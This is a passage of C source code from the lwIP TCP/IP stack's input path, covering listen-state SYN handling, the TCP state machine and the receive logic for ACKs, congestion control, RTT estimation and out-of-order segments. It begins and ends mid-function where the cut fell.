TCP_LISTEN_BACKLOG\n    if (pcb->accepts_pending >= pcb->backlog) {\n      return ERR_ABRT;\n    }\n#endif /* TCP_LISTEN_BACKLOG */\n    npcb = tcp_alloc(pcb->prio);\n    /* If a new PCB could not be created (probably due to lack of memory),\n       we don't do anything, but rely on the sender will retransmit the\n       SYN at a time when we have more memory available. */\n    if (npcb == NULL) {\n      LWIP_DEBUGF(TCP_DEBUG, (\"tcp_listen_input: could not allocate PCB\\n\"));\n      TCP_STATS_INC(tcp.memerr);\n      return ERR_MEM;\n    }\n#if TCP_LISTEN_BACKLOG\n    pcb->accepts_pending++;\n#endif /* TCP_LISTEN_BACKLOG */\n    /* Set up the new PCB. */\n    ip_addr_set(&(npcb->local_ip), &(iphdr->dest));\n    npcb->local_port = pcb->local_port;\n    ip_addr_set(&(npcb->remote_ip), &(iphdr->src));\n    npcb->remote_port = tcphdr->src;\n    npcb->state = SYN_RCVD;\n    npcb->rcv_nxt = seqno + 1;\n    npcb->snd_wnd = tcphdr->wnd;\n    npcb->ssthresh = npcb->snd_wnd;\n    npcb->snd_wl1 = seqno - 1;/* initialise to seqno-1 to force window update */\n    npcb->callback_arg = pcb->callback_arg;\n#if LWIP_CALLBACK_API\n    npcb->accept = pcb->accept;\n#endif /* LWIP_CALLBACK_API */\n    /* inherit socket options */\n    npcb->so_options = pcb->so_options & (SOF_DEBUG|SOF_DONTROUTE|SOF_KEEPALIVE|SOF_OOBINLINE|SOF_LINGER);\n    /* Register the new PCB so that we can begin receiving segments\n       for it. */\n    TCP_REG(&tcp_active_pcbs, npcb);\n\n    /* Parse any options in the SYN. */\n    tcp_parseopt(npcb);\n#if TCP_CALCULATE_EFF_SEND_MSS\n    npcb->mss = tcp_eff_send_mss(npcb->mss, &(npcb->remote_ip));\n#endif /* TCP_CALCULATE_EFF_SEND_MSS */\n\n    snmp_inc_tcppassiveopens();\n\n    /* Build an MSS option. */\n    optdata = TCP_BUILD_MSS_OPTION();\n    /* Send a SYN|ACK together with the MSS option. */\n    tcp_enqueue(npcb, NULL, 0, TCP_SYN | TCP_ACK, 0, (u8_t *)&optdata, 4);\n    return tcp_output(npcb);\n  }\n  return ERR_OK;\n}\n\n/**\n * Called by tcp_input() when a segment arrives for a connection in\n * TIME_WAIT.\n *\n * @param pcb the tcp_pcb for which a segment arrived\n *\n * @note the segment which arrived is saved in global variables, therefore only the pcb\n *       involved is passed as a parameter to this function\n */\nstatic err_t\ntcp_timewait_input(struct tcp_pcb *pcb)\n{\n  if (TCP_SEQ_GT(seqno + tcplen, pcb->rcv_nxt)) {\n    pcb->rcv_nxt = seqno + tcplen;\n  }\n  if (tcplen > 0) {\n    tcp_ack_now(pcb);\n  }\n  return tcp_output(pcb);\n}\n\n/**\n * Implements the TCP state machine. Called by tcp_input. In some\n * states tcp_receive() is called to receive data. The tcp_seg\n * argument will be freed by the caller (tcp_input()) unless the\n * recv_data pointer in the pcb is set.\n *\n * @param pcb the tcp_pcb for which a segment arrived\n *\n * @note the segment which arrived is saved in global variables, therefore only the pcb\n *       involved is passed as a parameter to this function\n */\nstatic err_t\ntcp_process(struct tcp_pcb *pcb)\n{\n  struct tcp_seg *rseg;\n  u8_t acceptable = 0;\n  err_t err;\n  u8_t accepted_inseq;\n\n  err = ERR_OK;\n\n  /* Process incoming RST segments. */\n  if (flags & TCP_RST) {\n    /* First, determine if the reset is acceptable. */\n    if (pcb->state == SYN_SENT) {\n      if (ackno == pcb->snd_nxt) {\n        acceptable = 1;\n      }\n    } else {\n      if (TCP_SEQ_BETWEEN(seqno, pcb->rcv_nxt, \n                          pcb->rcv_nxt+pcb->rcv_wnd)) {\n        acceptable = 1;\n      }\n    }\n\n    if (acceptable) {\n      LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_process: Connection RESET\\n\"));\n      LWIP_ASSERT(\"tcp_input: pcb->state != CLOSED\", pcb->state != CLOSED);\n      recv_flags = TF_RESET;\n      pcb->flags &= ~TF_ACK_DELAY;\n      return ERR_RST;\n    } else {\n      LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_process: unacceptable reset seqno %\"U32_F\" rcv_nxt %\"U32_F\"\\n\",\n       seqno, pcb->rcv_nxt));\n      LWIP_DEBUGF(TCP_DEBUG, (\"tcp_process: unacceptable reset seqno %\"U32_F\" rcv_nxt %\"U32_F\"\\n\",\n       seqno, pcb->rcv_nxt));\n      return ERR_OK;\n    }\n  }\n\n  /* Update the PCB (in)activity timer. */\n  pcb->tmr = tcp_ticks;\n  pcb->keep_cnt_sent = 0;\n\n  /* Do different things depending on the TCP state. */\n  switch (pcb->state) {\n  case SYN_SENT:\n    LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"SYN-SENT: ackno %\"U32_F\" pcb->snd_nxt %\"U32_F\" unacked %\"U32_F\"\\n\", ackno,\n     pcb->snd_nxt, ntohl(pcb->unacked->tcphdr->seqno)));\n    /* received SYN ACK with expected sequence number? */\n    if ((flags & TCP_ACK) && (flags & TCP_SYN)\n        && ackno == ntohl(pcb->unacked->tcphdr->seqno) + 1) {\n      pcb->snd_buf++;\n      pcb->rcv_nxt = seqno + 1;\n      pcb->lastack = ackno;\n      pcb->snd_wnd = tcphdr->wnd;\n      pcb->snd_wl1 = seqno - 1; /* initialise to seqno - 1 to force window update */\n      pcb->state = ESTABLISHED;\n\n      /* Parse any options in the SYNACK before using pcb->mss since that\n       * can be changed by the received options! */\n      tcp_parseopt(pcb);\n#if TCP_CALCULATE_EFF_SEND_MSS\n      pcb->mss = tcp_eff_send_mss(pcb->mss, &(pcb->remote_ip));\n#endif /* TCP_CALCULATE_EFF_SEND_MSS */\n\n      /* Set ssthresh again after changing pcb->mss (already set in tcp_connect\n       * but for the default value of pcb->mss) */\n      pcb->ssthresh = pcb->mss * 10;\n\n      pcb->cwnd = ((pcb->cwnd == 1) ? (pcb->mss * 2) : pcb->mss);\n      LWIP_ASSERT(\"pcb->snd_queuelen > 0\", (pcb->snd_queuelen > 0));\n      --pcb->snd_queuelen;\n      LWIP_DEBUGF(TCP_QLEN_DEBUG, (\"tcp_process: SYN-SENT --queuelen %\"U16_F\"\\n\", (u16_t)pcb->snd_queuelen));\n      rseg = pcb->unacked;\n      pcb->unacked = rseg->next;\n\n      /* If there's nothing left to acknowledge, stop the retransmit\n         timer, otherwise reset it to start again */\n      if(pcb->unacked == NULL)\n        pcb->rtime = -1;\n      else {\n        pcb->rtime = 0;\n        pcb->nrtx = 0;\n      }\n\n      tcp_seg_free(rseg);\n\n      /* Call the user specified function to call when sucessfully\n       * connected. */\n      TCP_EVENT_CONNECTED(pcb, ERR_OK, err);\n      tcp_ack_now(pcb);\n    }\n    /* received ACK? possibly a half-open connection */\n    else if (flags & TCP_ACK) {\n      /* send a RST to bring the other side in a non-synchronized state. */\n      tcp_rst(ackno, seqno + tcplen, &(iphdr->dest), &(iphdr->src),\n        tcphdr->dest, tcphdr->src);\n    }\n    break;\n  case SYN_RCVD:\n    if (flags & TCP_ACK &&\n       !(flags & TCP_RST)) {\n      /* expected ACK number? */\n      if (TCP_SEQ_BETWEEN(ackno, pcb->lastack+1, pcb->snd_nxt)) {\n        u16_t old_cwnd;\n        pcb->state = ESTABLISHED;\n        LWIP_DEBUGF(TCP_DEBUG, (\"TCP connection established %\"U16_F\" -> %\"U16_F\".\\n\", inseg.tcphdr->src, inseg.tcphdr->dest));\n#if LWIP_CALLBACK_API\n        LWIP_ASSERT(\"pcb->accept != NULL\", pcb->accept != NULL);\n#endif\n        /* Call the accept function. */\n        TCP_EVENT_ACCEPT(pcb, ERR_OK, err);\n        if (err != ERR_OK) {\n          /* If the accept function returns with an error, we abort\n           * the connection. */\n          tcp_abort(pcb);\n          return ERR_ABRT;\n        }\n        old_cwnd = pcb->cwnd;\n        /* If there was any data contained within this ACK,\n         * we'd better pass it on to the application as well. */\n        accepted_inseq = tcp_receive(pcb);\n\n        pcb->cwnd = ((old_cwnd == 1) ? (pcb->mss * 2) : pcb->mss);\n\n        if ((flags & TCP_FIN) && accepted_inseq) {\n          tcp_ack_now(pcb);\n          pcb->state = CLOSE_WAIT;\n        }\n      }\n      /* incorrect ACK number */\n      else {\n        /* send RST */\n        tcp_rst(ackno, seqno + tcplen, &(iphdr->dest), &(iphdr->src),\n                tcphdr->dest, tcphdr->src);\n      }\n    }\n    break;\n  case CLOSE_WAIT:\n    /* FALLTHROUGH */\n  case ESTABLISHED:\n    accepted_inseq = tcp_receive(pcb);\n    if ((flags & TCP_FIN) && accepted_inseq) { /* passive close */\n      tcp_ack_now(pcb);\n      pcb->state = CLOSE_WAIT;\n    }\n    break;\n  case FIN_WAIT_1:\n    tcp_receive(pcb);\n    if (flags & TCP_FIN) {\n      if (flags & TCP_ACK && ackno == pcb->snd_nxt) {\n        LWIP_DEBUGF(TCP_DEBUG,\n          (\"TCP connection closed %\"U16_F\" -> %\"U16_F\".\\n\", inseg.tcphdr->src, inseg.tcphdr->dest));\n        tcp_ack_now(pcb);\n        tcp_pcb_purge(pcb);\n        TCP_RMV(&tcp_active_pcbs, pcb);\n        pcb->state = TIME_WAIT;\n        TCP_REG(&tcp_tw_pcbs, pcb);\n      } else {\n        tcp_ack_now(pcb);\n        pcb->state = CLOSING;\n      }\n    } else if (flags & TCP_ACK && ackno == pcb->snd_nxt) {\n      pcb->state = FIN_WAIT_2;\n    }\n    break;\n  case FIN_WAIT_2:\n    tcp_receive(pcb);\n    if (flags & TCP_FIN) {\n      LWIP_DEBUGF(TCP_DEBUG, (\"TCP connection closed %\"U16_F\" -> %\"U16_F\".\\n\", inseg.tcphdr->src, inseg.tcphdr->dest));\n      tcp_ack_now(pcb);\n      tcp_pcb_purge(pcb);\n      TCP_RMV(&tcp_active_pcbs, pcb);\n      pcb->state = TIME_WAIT;\n      TCP_REG(&tcp_tw_pcbs, pcb);\n    }\n    break;\n  case CLOSING:\n    tcp_receive(pcb);\n    if (flags & TCP_ACK && ackno == pcb->snd_nxt) {\n      LWIP_DEBUGF(TCP_DEBUG, (\"TCP connection closed %\"U16_F\" -> %\"U16_F\".\\n\", inseg.tcphdr->src, inseg.tcphdr->dest));\n      tcp_ack_now(pcb);\n      tcp_pcb_purge(pcb);\n      TCP_RMV(&tcp_active_pcbs, pcb);\n      pcb->state = TIME_WAIT;\n      TCP_REG(&tcp_tw_pcbs, pcb);\n    }\n    break;\n  case LAST_ACK:\n    tcp_receive(pcb);\n    if (flags & TCP_ACK && ackno == pcb->snd_nxt) {\n      LWIP_DEBUGF(TCP_DEBUG, (\"TCP connection closed %\"U16_F\" -> %\"U16_F\".\\n\", inseg.tcphdr->src, inseg.tcphdr->dest));\n      /* bugfix #21699: don't set pcb->state to CLOSED here or we risk leaking segments */\n      recv_flags = TF_CLOSED;\n    }\n    break;\n  default:\n    break;\n  }\n  return ERR_OK;\n}\n\n/**\n * Called by tcp_process. Checks if the given segment is an ACK for outstanding\n * data, and if so frees the memory of the buffered data. Next, is places the\n * segment on any of the receive queues (pcb->recved or pcb->ooseq). If the segment\n * is buffered, the pbuf is referenced by pbuf_ref so that it will not be freed until\n * i it has been removed from the buffer.\n *\n * If the incoming segment constitutes an ACK for a segment that was used for RTT\n * estimation, the RTT is estimated here as well.\n *\n * Called from tcp_process().\n *\n * @return 1 if the incoming segment is the next in sequence, 0 if not\n */\nstatic u8_t\ntcp_receive(struct tcp_pcb *pcb)\n{\n  struct tcp_seg *next;\n#if TCP_QUEUE_OOSEQ\n  struct tcp_seg *prev, *cseg;\n#endif\n  struct pbuf *p;\n  s32_t off;\n  s16_t m;\n  u32_t right_wnd_edge;\n  u16_t new_tot_len;\n  u8_t accepted_inseq = 0;\n\n  if (flags & TCP_ACK) {\n    right_wnd_edge = pcb->snd_wnd + pcb->snd_wl1;\n\n    /* Update window. */\n    if (TCP_SEQ_LT(pcb->snd_wl1, seqno) ||\n       (pcb->snd_wl1 == seqno && TCP_SEQ_LT(pcb->snd_wl2, ackno)) ||\n       (pcb->snd_wl2 == ackno && tcphdr->wnd > pcb->snd_wnd)) {\n      pcb->snd_wnd = tcphdr->wnd;\n      pcb->snd_wl1 = seqno;\n      pcb->snd_wl2 = ackno;\n      if (pcb->snd_wnd > 0 && pcb->persist_backoff > 0) {\n          pcb->persist_backoff = 0;\n      }\n      LWIP_DEBUGF(TCP_WND_DEBUG, (\"tcp_receive: window update %\"U16_F\"\\n\", pcb->snd_wnd));\n#if TCP_WND_DEBUG\n    } else {\n      if (pcb->snd_wnd != tcphdr->wnd) {\n        LWIP_DEBUGF(TCP_WND_DEBUG, (\"tcp_receive: no window update lastack %\"U32_F\" snd_max %\"U32_F\" ackno %\"U32_F\" wl1 %\"U32_F\" seqno %\"U32_F\" wl2 %\"U32_F\"\\n\",\n                               pcb->lastack, pcb->snd_max, ackno, pcb->snd_wl1, seqno, pcb->snd_wl2));\n      }\n#endif /* TCP_WND_DEBUG */\n    }\n\n    if (pcb->lastack == ackno) {\n      pcb->acked = 0;\n\n      if (pcb->snd_wl1 + pcb->snd_wnd == right_wnd_edge){\n        ++pcb->dupacks;\n        if (pcb->dupacks >= 3 && pcb->unacked != NULL) {\n          if (!(pcb->flags & TF_INFR)) {\n            /* This is fast retransmit. Retransmit the first unacked segment. */\n            LWIP_DEBUGF(TCP_FR_DEBUG, (\"tcp_receive: dupacks %\"U16_F\" (%\"U32_F\"), fast retransmit %\"U32_F\"\\n\",\n                                       (u16_t)pcb->dupacks, pcb->lastack,\n                                       ntohl(pcb->unacked->tcphdr->seqno)));\n            tcp_rexmit(pcb);\n            /* Set ssthresh to max (FlightSize / 2, 2*SMSS) */\n            /*pcb->ssthresh = LWIP_MAX((pcb->snd_max -\n                                      pcb->lastack) / 2,\n                                      2 * pcb->mss);*/\n            /* Set ssthresh to half of the minimum of the current cwnd and the advertised window */\n            if (pcb->cwnd > pcb->snd_wnd)\n              pcb->ssthresh = pcb->snd_wnd / 2;\n            else\n              pcb->ssthresh = pcb->cwnd / 2;\n\n            /* The minimum value for ssthresh should be 2 MSS */\n            if (pcb->ssthresh < 2*pcb->mss) {\n              LWIP_DEBUGF(TCP_FR_DEBUG, (\"tcp_receive: The minimum value for ssthresh %\"U16_F\" should be min 2 mss %\"U16_F\"...\\n\", pcb->ssthresh, 2*pcb->mss));\n              pcb->ssthresh = 2*pcb->mss;\n            }\n\n            pcb->cwnd = pcb->ssthresh + 3 * pcb->mss;\n            pcb->flags |= TF_INFR;\n          } else {\n            /* Inflate the congestion window, but not if it means that\n               the value overflows. */\n            if ((u16_t)(pcb->cwnd + pcb->mss) > pcb->cwnd) {\n              pcb->cwnd += pcb->mss;\n            }\n          }\n        }\n      } else {\n        LWIP_DEBUGF(TCP_FR_DEBUG, (\"tcp_receive: dupack averted %\"U32_F\" %\"U32_F\"\\n\",\n                                   pcb->snd_wl1 + pcb->snd_wnd, right_wnd_edge));\n      }\n    } else if (TCP_SEQ_BETWEEN(ackno, pcb->lastack+1, pcb->snd_max)){\n      /* We come here when the ACK acknowledges new data. */\n      \n      /* Reset the \"IN Fast Retransmit\" flag, since we are no longer\n         in fast retransmit. Also reset the congestion window to the\n         slow start threshold. */\n      if (pcb->flags & TF_INFR) {\n        pcb->flags &= ~TF_INFR;\n        pcb->cwnd = pcb->ssthresh;\n      }\n\n      /* Reset the number of retransmissions. */\n      pcb->nrtx = 0;\n\n      /* Reset the retransmission time-out. */\n      pcb->rto = (pcb->sa >> 3) + pcb->sv;\n\n      /* Update the send buffer space. Diff between the two can never exceed 64K? */\n      pcb->acked = (u16_t)(ackno - pcb->lastack);\n\n      pcb->snd_buf += pcb->acked;\n\n      /* Reset the fast retransmit variables. */\n      pcb->dupacks = 0;\n      pcb->lastack = ackno;\n\n      /* Update the congestion control variables (cwnd and\n         ssthresh). */\n      if (pcb->state >= ESTABLISHED) {\n        if (pcb->cwnd < pcb->ssthresh) {\n          if ((u16_t)(pcb->cwnd + pcb->mss) > pcb->cwnd) {\n            pcb->cwnd += pcb->mss;\n          }\n          LWIP_DEBUGF(TCP_CWND_DEBUG, (\"tcp_receive: slow start cwnd %\"U16_F\"\\n\", pcb->cwnd));\n        } else {\n          u16_t new_cwnd = (pcb->cwnd + pcb->mss * pcb->mss / pcb->cwnd);\n          if (new_cwnd > pcb->cwnd) {\n            pcb->cwnd = new_cwnd;\n          }\n          LWIP_DEBUGF(TCP_CWND_DEBUG, (\"tcp_receive: congestion avoidance cwnd %\"U16_F\"\\n\", pcb->cwnd));\n        }\n      }\n      LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_receive: ACK for %\"U32_F\", unacked->seqno %\"U32_F\":%\"U32_F\"\\n\",\n                                    ackno,\n                                    pcb->unacked != NULL?\n                                    ntohl(pcb->unacked->tcphdr->seqno): 0,\n                                    pcb->unacked != NULL?\n                                    ntohl(pcb->unacked->tcphdr->seqno) + TCP_TCPLEN(pcb->unacked): 0));\n\n      /* Remove segment from the unacknowledged list if the incoming\n         ACK acknowlegdes them. */\n      while (pcb->unacked != NULL &&\n             TCP_SEQ_LEQ(ntohl(pcb->unacked->tcphdr->seqno) +\n                         TCP_TCPLEN(pcb->unacked), ackno)) {\n        LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_receive: removing %\"U32_F\":%\"U32_F\" from pcb->unacked\\n\",\n                                      ntohl(pcb->unacked->tcphdr->seqno),\n                                      ntohl(pcb->unacked->tcphdr->seqno) +\n                                      TCP_TCPLEN(pcb->unacked)));\n\n        next = pcb->unacked;\n        pcb->unacked = pcb->unacked->next;\n\n        LWIP_DEBUGF(TCP_QLEN_DEBUG, (\"tcp_receive: queuelen %\"U16_F\" ... \", (u16_t)pcb->snd_queuelen));\n        LWIP_ASSERT(\"pcb->snd_queuelen >= pbuf_clen(next->p)\", (pcb->snd_queuelen >= pbuf_clen(next->p)));\n        pcb->snd_queuelen -= pbuf_clen(next->p);\n        tcp_seg_free(next);\n\n        LWIP_DEBUGF(TCP_QLEN_DEBUG, (\"%\"U16_F\" (after freeing unacked)\\n\", (u16_t)pcb->snd_queuelen));\n        if (pcb->snd_queuelen != 0) {\n          LWIP_ASSERT(\"tcp_receive: valid queue length\", pcb->unacked != NULL ||\n                      pcb->unsent != NULL);\n        }\n      }\n\n      /* If there's nothing left to acknowledge, stop the retransmit\n         timer, otherwise reset it to start again */\n      if(pcb->unacked == NULL)\n        pcb->rtime = -1;\n      else\n        pcb->rtime = 0;\n\n      pcb->polltmr = 0;\n    } else {\n      /* Fix bug bug #21582: out of sequence ACK, didn't really ack anything */\n      pcb->acked = 0;\n    }\n\n    /* We go through the ->unsent list to see if any of the segments\n       on the list are acknowledged by the ACK. This may seem\n       strange since an \"unsent\" segment shouldn't be acked. The\n       rationale is that lwIP puts all outstanding segments on the\n       ->unsent list after a retransmission, so these segments may\n       in fact have been sent once. */\n    while (pcb->unsent != NULL &&\n           /*TCP_SEQ_LEQ(ntohl(pcb->unsent->tcphdr->seqno) + TCP_TCPLEN(pcb->unsent), ackno) &&\n             TCP_SEQ_LEQ(ackno, pcb->snd_max)*/\n           TCP_SEQ_BETWEEN(ackno, ntohl(pcb->unsent->tcphdr->seqno) + TCP_TCPLEN(pcb->unsent), pcb->snd_max)\n           ) {\n      LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_receive: removing %\"U32_F\":%\"U32_F\" from pcb->unsent\\n\",\n                                    ntohl(pcb->unsent->tcphdr->seqno), ntohl(pcb->unsent->tcphdr->seqno) +\n                                    TCP_TCPLEN(pcb->unsent)));\n\n      next = pcb->unsent;\n      pcb->unsent = pcb->unsent->next;\n      LWIP_DEBUGF(TCP_QLEN_DEBUG, (\"tcp_receive: queuelen %\"U16_F\" ... \", (u16_t)pcb->snd_queuelen));\n      LWIP_ASSERT(\"pcb->snd_queuelen >= pbuf_clen(next->p)\", (pcb->snd_queuelen >= pbuf_clen(next->p)));\n      pcb->snd_queuelen -= pbuf_clen(next->p);\n      tcp_seg_free(next);\n      LWIP_DEBUGF(TCP_QLEN_DEBUG, (\"%\"U16_F\" (after freeing unsent)\\n\", (u16_t)pcb->snd_queuelen));\n      if (pcb->snd_queuelen != 0) {\n        LWIP_ASSERT(\"tcp_receive: valid queue length\",\n          pcb->unacked != NULL || pcb->unsent != NULL);\n      }\n\n      if (pcb->unsent != NULL) {\n        pcb->snd_nxt = htonl(pcb->unsent->tcphdr->seqno);\n      }\n    }\n    /* End of ACK for new data processing. */\n\n    LWIP_DEBUGF(TCP_RTO_DEBUG, (\"tcp_receive: pcb->rttest %\"U32_F\" rtseq %\"U32_F\" ackno %\"U32_F\"\\n\",\n                                pcb->rttest, pcb->rtseq, ackno));\n\n    /* RTT estimation calculations. This is done by checking if the\n       incoming segment acknowledges the segment we use to take a\n       round-trip time measurement. */\n    if (pcb->rttest && TCP_SEQ_LT(pcb->rtseq, ackno)) {\n      /* diff between this shouldn't exceed 32K since this are tcp timer ticks\n         and a round-trip shouldn't be that long... */\n      m = (s16_t)(tcp_ticks - pcb->rttest);\n\n      LWIP_DEBUGF(TCP_RTO_DEBUG, (\"tcp_receive: experienced rtt %\"U16_F\" ticks (%\"U16_F\" msec).\\n\",\n                                  m, m * TCP_SLOW_INTERVAL));\n\n      /* This is taken directly from VJs original code in his paper */\n      m = m - (pcb->sa >> 3);\n      pcb->sa += m;\n      if (m < 0) {\n        m = -m;\n      }\n      m = m - (pcb->sv >> 2);\n      pcb->sv += m;\n      pcb->rto = (pcb->sa >> 3) + pcb->sv;\n\n      LWIP_DEBUGF(TCP_RTO_DEBUG, (\"tcp_receive: RTO %\"U16_F\" (%\"U16_F\" milliseconds)\\n\",\n                                  pcb->rto, pcb->rto * TCP_SLOW_INTERVAL));\n\n      pcb->rttest = 0;\n    }\n  }\n\n  /* If the incoming segment contains data, we must process it\n     further. */\n  if (tcplen > 0) {\n    /* This code basically does three things:\n\n    +) If the incoming segment contains data that is the next\n    in-sequence data, this data is passed to the application. This\n    might involve trimming the first edge of the data. The rcv_nxt\n    variable and the advertised window are adjusted.\n\n    +) If the incoming segment has data that is above the next\n    sequence number expected (->rcv_nxt), the segment is placed on\n    the ->ooseq queue. This is done by finding the appropriate\n    place in the ->ooseq queue (which is ordered by sequence\n    number) and trim the segment in both ends if needed. An\n    immediate ACK is sent to indicate that we received an\n    out-of-sequence segment.\n\n    +) Finally, we check if the first segment on the ->ooseq queue\n    now is in sequence (i.e., if rcv_nxt >= ooseq->seqno). If\n    rcv_nxt > ooseq->seqno, we must trim the first edge of the\n    segment on ->ooseq before we adjust rcv_nxt. The data in the\n    segments that are now on sequence are chained onto the\n    incoming segment so that we only need to call the application\n    once.\n    */\n\n    /* First, we check if we must trim the first edge. We have to do\n       this if the sequence number of the incoming segment is less\n       than rcv_nxt, and the sequence number plus the length of the\n       segment is larger than rcv_nxt. */\n    /*    if (TCP_SEQ_LT(seqno, pcb->rcv_nxt)){\n          if (TCP_SEQ_LT(pcb->rcv_nxt, seqno + tcplen)) {*/\n    if (TCP_SEQ_BETWEEN(pcb->rcv_nxt, seqno + 1, seqno + tcplen - 1)){\n      /* Trimming the first edge is done by pushing the payload\n         pointer in the pbuf downwards. This is somewhat tricky since\n         we do not want to discard the full contents of the pbuf up to\n         the new starting point of the data since we have to keep the\n         TCP header which is present in the first pbuf in the chain.\n\n         What is done is really quite a nasty hack: the first pbuf in\n         the pbuf chain is pointed to by inseg.p. Since we need to be\n         able to deallocate the whole pbuf, we cannot change this\n         inseg.p pointer to point to any of the later pbufs in the\n         chain. Instead, we point the ->payload pointer in the first\n         pbuf to data in one of the later pbufs. We also set the\n         inseg.data pointer to point to the right place. This way, the\n         ->p pointer will still point to the first pbuf, but the\n         ->p->payload pointer will point to data in another pbuf.\n\n         After we are done with adjusting the pbuf pointers we must\n         adjust the ->data pointer in the seg and the segment\n         length.*/\n\n      off = pcb->rcv_nxt - seqno;\n      p = inseg.p;\n      LWIP_ASSERT(\"inseg.p != NULL\", inseg.p);\n      LWIP_ASSERT(\"insane offset!\", (off < 0x7fff));\n      if (inseg.p->len < off) {\n        LWIP_ASSERT(\"pbuf too short!\", (((s32_t)inseg.p->tot_len) >= off));\n        new_tot_len = (u16_t)(inseg.p->tot_len - off);\n        while (p->len < off) {\n          off -= p->len;\n          /* KJM following line changed (with addition of new_tot_len var)\n             to fix bug #9076\n             inseg.p->tot_len -= p->len; */\n          p->tot_len = new_tot_len;\n          p->len = 0;\n          p = p->next;\n        }\n        if(pbuf_header(p, (s16_t)-off)) {\n          /* Do we need to cope with this failing?  Assert for now */\n          LWIP_ASSERT(\"pbuf_header failed\", 0);\n        }\n      } else {\n        if(pbuf_header(inseg.p, (s16_t)-off)) {\n          /* Do we need to cope with this failing?  Assert for now */\n          LWIP_ASSERT(\"pbuf_header failed\", 0);\n        }\n      }\n      /* KJM following line changed to use p->payload rather than inseg->p->payload\n         to fix bug #9076 */\n      inseg.dataptr = p->payload;\n      inseg.len -= (u16_t)(pcb->rcv_nxt - seqno);\n      inseg.tcphdr->seqno = seqno = pcb->rcv_nxt;\n    }\n    else {\n      if (TCP_SEQ_LT(seqno, pcb->rcv_nxt)){\n        /* the whole segment is < rcv_nxt */\n        /* must be a duplicate of a packet that has already been correctly handled */\n\n        LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_receive: duplicate seqno %\"U32_F\"\\n\", seqno));\n        tcp_ack_now(pcb);\n      }\n    }\n\n    /* The sequence number must be within the window (above rcv_nxt\n       and below rcv_nxt + rcv_wnd) in order to be further\n       processed. */\n    if (TCP_SEQ_BETWEEN(seqno, pcb->rcv_nxt, \n                        pcb->rcv_nxt + pcb->rcv_wnd - 1)){\n      if (pcb->rcv_nxt == seqno) {\n        accepted_inseq = 1; \n        /* The incoming segment is the next in sequence. We check if\n           we have to trim the end of the segment and update rcv_nxt\n           and pass the data to the application. */\n#if TCP_QUEUE_OOSEQ\n        if (pcb->ooseq != NULL &&\n                TCP_SEQ_LEQ(pcb->ooseq->tcphdr->seqno, seqno + inseg.len)) {\n          if (pcb->ooseq->len > 0) {\n            /* We have to trim the second edge of the incoming\n               segment. */\n            inseg.len = (u16_t)(pcb->ooseq->tcphdr->seqno - seqno);\n            pbuf_realloc(inseg.p, inseg.len);\n          } else {\n            /* does the ooseq segment contain only flags that are in inseg also? */\n            if ((TCPH_FLAGS(inseg.tcphdr) & (TCP_FIN|TCP_SYN)) ==\n                (TCPH_FLAGS(pcb->ooseq->tcphdr) & (TCP_FIN|TCP_SYN))) {\n              struct tcp_seg *old_ooseq = pcb->ooseq;\n              pcb->ooseq = pcb->ooseq->next;\n              memp_free(MEMP_TCP_SEG, old_ooseq);\n            }\n          }\n        }\n#endif /* TCP_QUEUE_OOSEQ */\n\n        tcplen = TCP_TCPLEN(&inseg);\n\n        /* First received FIN will be ACKed +1, on any successive (duplicate)\n         * FINs we are already in CLOSE_WAIT and have already done +1.\n         */\n        if (pcb->state != CLOSE_WAIT) {\n          pcb->rcv_nxt += tcplen;\n        }\n\n        /* Update the receiver's (our) window. */\n        if (pcb->rcv_wnd < tcplen) {\n          pcb->rcv_wnd = 0;\n        } else {\n          pcb->rcv_wnd -= tcplen;\n        }\n\n        if (pcb->rcv_ann_wnd < tcplen) {\n          pcb->rcv_ann_wnd = 0;\n        } else {\n          pcb->rcv_ann_wnd -= tcplen;\n        }\n\n        /* If there is data in the segment, we make preparations to\n           pass this up to the application. The ->recv_data variable\n           is used for holding the pbuf that goes to the\n           application. The code for reassembling out-of-sequence data\n           chains its data on this pbuf as well.\n\n           If the segment was a FIN, we set the TF_GOT_FIN flag that will\n           be used to indicate to the application that the remote side has\n           closed its end of the connection. */\n        if (inseg.p->tot_len > 0) {\n          recv_data = inseg.p;\n          /* Since this pbuf now is the responsibility of the\n             application, we delete our reference to it so that we won't\n             (mistakingly) deallocate it. */\n          inseg.p = NULL;\n        }\n        if (TCPH_FLAGS(inseg.tcphdr) & TCP_FIN) {\n          LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_receive: received FIN.\\n\"));\n          recv_flags = TF_GOT_FIN;\n        }\n\n#if TCP_QUEUE_OOSEQ\n        /* We now check if we have segments on the ->ooseq queue that\n           is now in sequence. */\n        while (pcb->ooseq != NULL &&\n               pcb->ooseq->tcphdr->seqno == pcb->rcv_nxt) {\n\n          cseg = pcb->ooseq;\n          seqno = pcb->ooseq->tcphdr->seqno;\n\n          pcb->rcv_nxt += TCP_TCPLEN(cseg);\n          if (pcb->rcv_wnd < TCP_TCPLEN(cseg)) {\n            pcb->rcv_wnd = 0;\n          } else {\n            pcb->rcv_wnd -= TCP_TCPLEN(cseg);\n          }\n          if (pcb->rcv_ann_wnd < TCP_TCPLEN(cseg)) {\n            pcb->rcv_ann_wnd = 0;\n          } else {\n            pcb->rcv_ann_wnd -= TCP_TCPLEN(cseg);\n          }\n\n          if (cseg->p->tot_len > 0) {\n            /* Chain this pbuf onto the pbuf that we will pass to\n               the application. */\n            if (recv_data) {\n              pbuf_cat(recv_data, cseg->p);\n            } else {\n              recv_data = cseg->p;\n            }\n            cseg->p = NULL;\n          }\n          if (TCPH_FLAGS(cseg->tcphdr) & TCP_FIN) {\n            LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_receive: dequeued FIN.\\n\"));\n            recv_flags = TF_GOT_FIN;\n            if (pcb->state == ESTABLISHED) { /* force passive close or we can move to active close */\n              pcb->state = CLOSE_WAIT;\n            } \n          }\n\n\n          pcb->ooseq = cseg->next;\n          tcp_seg_free(cseg);\n        }\n#endif /* TCP_QUEUE_OOSEQ */\n\n\n        /* Acknowledge the segment(s). */\n        tcp_ack(pcb);\n\n      } else {\n        /* We get here if the incoming segment is out-of-sequence. */\n        tcp_ack_now(pcb);\n#if 